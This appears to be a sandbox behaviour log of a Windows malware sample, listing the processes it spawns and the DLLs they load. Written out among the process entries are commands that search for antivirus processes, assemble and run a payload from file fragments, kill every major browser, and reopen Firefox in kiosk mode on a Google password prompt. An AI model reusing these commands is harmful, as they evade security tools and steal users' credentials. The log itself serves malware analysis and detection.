Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Process created: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe "C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Campbell Campbell.cmd & Campbell.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 370821
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Anchor" Veterinary
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Genre + ..\Mj + ..\Discs + ..\Receiving + ..\Mysterious + ..\Aka w
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\370821\Sale.com Sale.com w
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Process created: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe "C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe"
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=1916,i,5817995298996924960,10670888794113214286,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: fwpuclnt.dll
